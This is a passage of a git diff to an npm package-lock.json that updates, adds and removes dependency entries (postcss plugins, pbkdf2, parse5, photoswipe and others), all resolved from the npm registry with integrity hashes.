"^4.0.0" - } - } - } - }, - "nopt": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", - "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "abbrev": "1" - } - }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - }, - "dependencies": { - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, - "optional": true, - "peer": true - } - } + "version": "2.0.19", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz", + "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==" }, "normalize-path": { "version": "3.0.0", @@ -29204,11 +24415,6 @@ "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", "dev": true }, - "normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" - }, "npm-run-path": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", @@ -29218,20 +24424,6 @@ "path-key": "^3.0.0" } }, - "npmlog": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz", - "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "are-we-there-yet": "^2.0.0", - "console-control-strings": "^1.1.0", - "gauge": "^3.0.0", - "set-blocking": "^2.0.0" - } - }, "nth-check": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", @@ -29241,31 +24433,15 @@ "boolbase": "^1.0.0" } }, - "number-to-bn": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/number-to-bn/-/number-to-bn-1.7.0.tgz", - "integrity": "sha512-wsJ9gfSz1/s4ZsJN01lyonwuxA1tml6X1yBDnfpMglypcBRFZZkus26EdPSlqS5GJfYddVZa22p3VNb3z5m5Ig==", - "requires": { - "bn.js": "4.11.6", - "strip-hex-prefix": "1.0.0" - }, - "dependencies": { - "bn.js": { - "version": "4.11.6", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.6.tgz", - "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==" - } - } - }, "numeral": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/numeral/-/numeral-2.0.6.tgz", "integrity": "sha1-StCAk21EPCVhrtnyGX7//iX05QY=" }, "nwsapi": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.1.tgz", - "integrity": "sha512-JYOWTeFoS0Z93587vRJgASD5Ut11fYl5NyihP3KrYBvMe1FRRs6RN7m20SA/16GM4P6hTnZjT+UmDOt38UeXNg==", + "version": "2.2.21", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.21.tgz", + "integrity": "sha512-o6nIY3qwiSXl7/LuOU0Dmuctd34Yay0yeuZRLFmDPrrdHpXKFndPj3hM+YEPVHYC5fx2otBx4Ilc/gyYSAUaIA==", "dev": true }, "oauth-sign": { @@ -29279,9 +24455,9 @@ "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" }, "object-inspect": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", - "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==" + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==" }, "object-is": { "version": "1.1.5", @@ -29298,47 +24474,58 @@ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" }, "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", "object-keys": "^1.1.1" } }, - "object.values": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", - "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", + "object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", "dev": true, "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.1" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" } }, - "oboe": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/oboe/-/oboe-2.1.5.tgz", - "integrity": "sha512-zRFWiF+FoicxEs3jNI/WYUrVEgA7DeET/InK0XQuudGHRg8iIob3cNPrJTKaz4004uaA9Pbe+Dwa8iluhjLZWA==", + "object.groupby": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz", + "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==", + "dev": true, "requires": { - "http-https": "^1.0.0" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2" } }, - "on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, "requires": { - "ee-first": "1.1.1" + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" } }, "once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "requires": { "wrappy": "1" } @@ -29353,17 +24540,17 @@ } }, "optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", "dev": true, "requires": { + "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" + "type-check": "^0.4.0" } }, "os-browserify": { @@ -29371,15 +24558,16 @@ "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=" }, - "p-cancelable": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", - "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==" - }, - "p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==" + "own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "requires": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + } }, "p-limit": { "version": "3.1.0", @@ -29391,50 +24579,25 @@ } }, "p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", "dev": true, "requires": { - "p-limit": "^1.1.0" + "p-limit": "^2.2.0" }, "dependencies": { "p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "dev": true, "requires": { - "p-try": "^1.0.0" + "p-try": "^2.0.0" } - }, - "p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true } } }, - "p-map": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", - "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "aggregate-error": "^3.0.0" - } - }, - "p-timeout": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-1.2.1.tgz", - "integrity": "sha512-gb0ryzr+K2qFqFv6qi3khoeqMZF/+ajxQipEF6NteZVnvz9tzdsfAVj3lYtn1gAXvH5lfLwfxEII799gt/mRIA==", - "requires": { - "p-finally": "^1.0.0" - } - }, "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", @@ -29450,15 +24613,32 @@ } }, "parse-asn1": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz", - "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==", - "requires": { - "asn1.js": "^5.2.0", - "browserify-aes": "^1.0.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3", - "safe-buffer": "^5.1.1" + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.7.tgz", + "integrity": "sha512-CTM5kuWR3sx9IFamcl5ErfPl6ea/N8IYwiJ+vpeB2g+1iknv7zBl5uPwbMbRVznRVbrNY6lGuDoE5b30grmbqg==", + "requires": { + "asn1.js": "^4.10.1", + "browserify-aes": "^1.2.0", + "evp_bytestokey": "^1.0.3", + "hash-base": "~3.0", + "pbkdf2": "^3.1.2", + "safe-buffer": "^5.2.1" + }, + "dependencies": { + "hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "requires": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } } }, "parse-headers": { @@ -29479,27 +24659,22 @@ } }, "parse5": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.0.0.tgz", - "integrity": "sha512-y/t8IXSPWTuRZqXc0ajH/UwDj4mnqLEbSttNbThcFhGrZuOyoyvNBO85PBp2jQa55wY9d07PBNjsK8ZP3K5U6g==", + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", "dev": true, "requires": { - "entities": "^4.3.0" + "entities": "^6.0.0" }, "dependencies": { "entities": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.3.1.tgz", - "integrity": "sha512-o4q/dYJlmyjP2zfnaWDUC6A3BQFmVTX+tZPezK7k0GLSU9QYCauscf5Y+qcEPzKL+EixVouYDgLQK5H9GrLpkg==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", "dev": true } } }, - "parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" - }, "path-exists": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", @@ -29531,32 +24706,57 @@ "tslib": "^1.10.0" } }, - "path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" - }, - "path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true - }, "pathval": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==" }, "pbkdf2": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz", - "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.3.tgz", + "integrity": "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA==", "requires": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "create-hash": "~1.1.3", + "create-hmac": "^1.1.7", + "ripemd160": "=2.0.1", + "safe-buffer": "^5.2.1", + "sha.js": "^2.4.11", + "to-buffer": "^1.2.0" + }, + "dependencies": { + "create-hash": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", + "integrity": "sha512-snRpch/kwQhcdlnZKYanNF1m0RDlrCdSKQaH87w1FCFPVPNCQ/Il9QJKAX2jVBZddRdaHBMC+zXa9Gw9tmkNUA==", + "requires": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "sha.js": "^2.4.0" + } + }, + "hash-base": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", + "integrity": "sha512-0TROgQ1/SxE6KmxWSvXHvRj90/Xo1JvZShofnYF+f6ZsGtR4eES7WfrQzPalmyagfKZCXpVnitiRebZulWsbiw==", + "requires": { + "inherits": "^2.0.1" + } + }, + "ripemd160": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", + "integrity": "sha512-J7f4wutN8mdbV08MJnXibYpCOPHR+yzy+iQ/AsjMv2j8cLavQ8VGagDFUwwTAdF8FmRKVeNpbTTEwNHCW1g94w==", + "requires": { + "hash-base": "^2.0.0", + "inherits": "^2.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } } }, "performance-now": { @@ -29570,15 +24770,20 @@ "phoenix_html": { "version": "file:../../../deps/phoenix_html" }, + "photoswipe": { + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/photoswipe/-/photoswipe-5.4.4.tgz", + "integrity": "sha512-WNFHoKrkZNnvFFhbHL93WDkW3ifwVOXSW3w1UuZZelSmgXpIGiZSNlZJq37rR8YejqME2rHs9EhH9ZvlvFH2NA==" + }, "picocolors": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", - "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==" }, "picomatch": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", - "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true }, "pify": { @@ -29592,9 +24797,9 @@ "integrity": "sha512-TNtsE+34BIax3WtkB/qqu5uepV1McKYEgvL3kWzU7aqPCpMEN6rBF3AOwu4WCwAealWlBGobXny/9kJb49C1ew==" }, "pirates": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz", - "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", "dev": true }, "pngjs": { @@ -29607,92 +24812,110 @@ "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==" }, + "possible-typed-array-names": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz", + "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==" + }, "postcss": { - "version": "8.4.16", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.16.tgz", - "integrity": "sha512-ipHE1XBvKzm5xI7hiHCZJCSugxvsdq2mPnsq5+UF+VHCjiBvtDrlxJfMBToWaP9D5XlgNmcFGqoHmUn0EYEaRQ==", - "dev": true, + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", "requires": { - "nanoid": "^3.3.4", - "picocolors": "^1.0.0", - "source-map-js": "^1.0.2" + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" } }, "postcss-calc": { - "version": "8.2.4", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", - "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-10.1.1.tgz", + "integrity": "sha512-NYEsLHh8DgG/PRH2+G9BTuUdtf9ViS+vdoQ0YA5OQdGsfN4ztiwtDWNtBl9EKeqNMFnIu8IKZ0cLxEQ5r5KVMw==", "dev": true, "requires": { - "postcss-selector-parser": "^6.0.9", + "postcss-selector-parser": "^7.0.0", "postcss-value-parser": "^4.2.0" + }, + "dependencies": { + "postcss-selector-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz", + "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + } } }, "postcss-colormin": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", - "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-7.0.2.tgz", + "integrity": "sha512-YntRXNngcvEvDbEjTdRWGU606eZvB5prmHG4BF0yLmVpamXbpsRJzevyy6MZVyuecgzI2AWAlvFi8DAeCqwpvA==", "dev": true, "requires": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0", - "colord": "^2.9.1", + "colord": "^2.9.3", "postcss-value-parser": "^4.2.0" } }, "postcss-convert-values": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", - "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-7.0.4.tgz", + "integrity": "sha512-e2LSXPqEHVW6aoGbjV9RsSSNDO3A0rZLCBxN24zvxF25WknMPpX8Dm9UxxThyEbaytzggRuZxaGXqaOhxQ514Q==", "dev": true, "requires": { - "browserslist": "^4.20.3", + "browserslist": "^4.23.3", "postcss-value-parser": "^4.2.0" } }, "postcss-discard-comments": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", - "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-7.0.3.tgz", + "integrity": "sha512-q6fjd4WU4afNhWOA2WltHgCbkRhZPgQe7cXF74fuVB/ge4QbM9HEaOIzGSiMvM+g/cOsNAUGdf2JDzqA2F8iLA==", "dev": true, - "requires": {} + "requires": { + "postcss-selector-parser": "^6.1.2" + } }, "postcss-discard-duplicates": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", - "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-7.0.1.tgz", + "integrity": "sha512-oZA+v8Jkpu1ct/xbbrntHRsfLGuzoP+cpt0nJe5ED2FQF8n8bJtn7Bo28jSmBYwqgqnqkuSXJfSUEE7if4nClQ==", "dev": true, "requires": {} }, "postcss-discard-empty": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", - "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-7.0.0.tgz", + "integrity": "sha512-e+QzoReTZ8IAwhnSdp/++7gBZ/F+nBq9y6PomfwORfP7q9nBpK5AMP64kOt0bA+lShBFbBDcgpJ3X4etHg4lzA==", "dev": true, "requires": {} }, "postcss-discard-overridden": { - "version": "5.1.0", - "resolved": 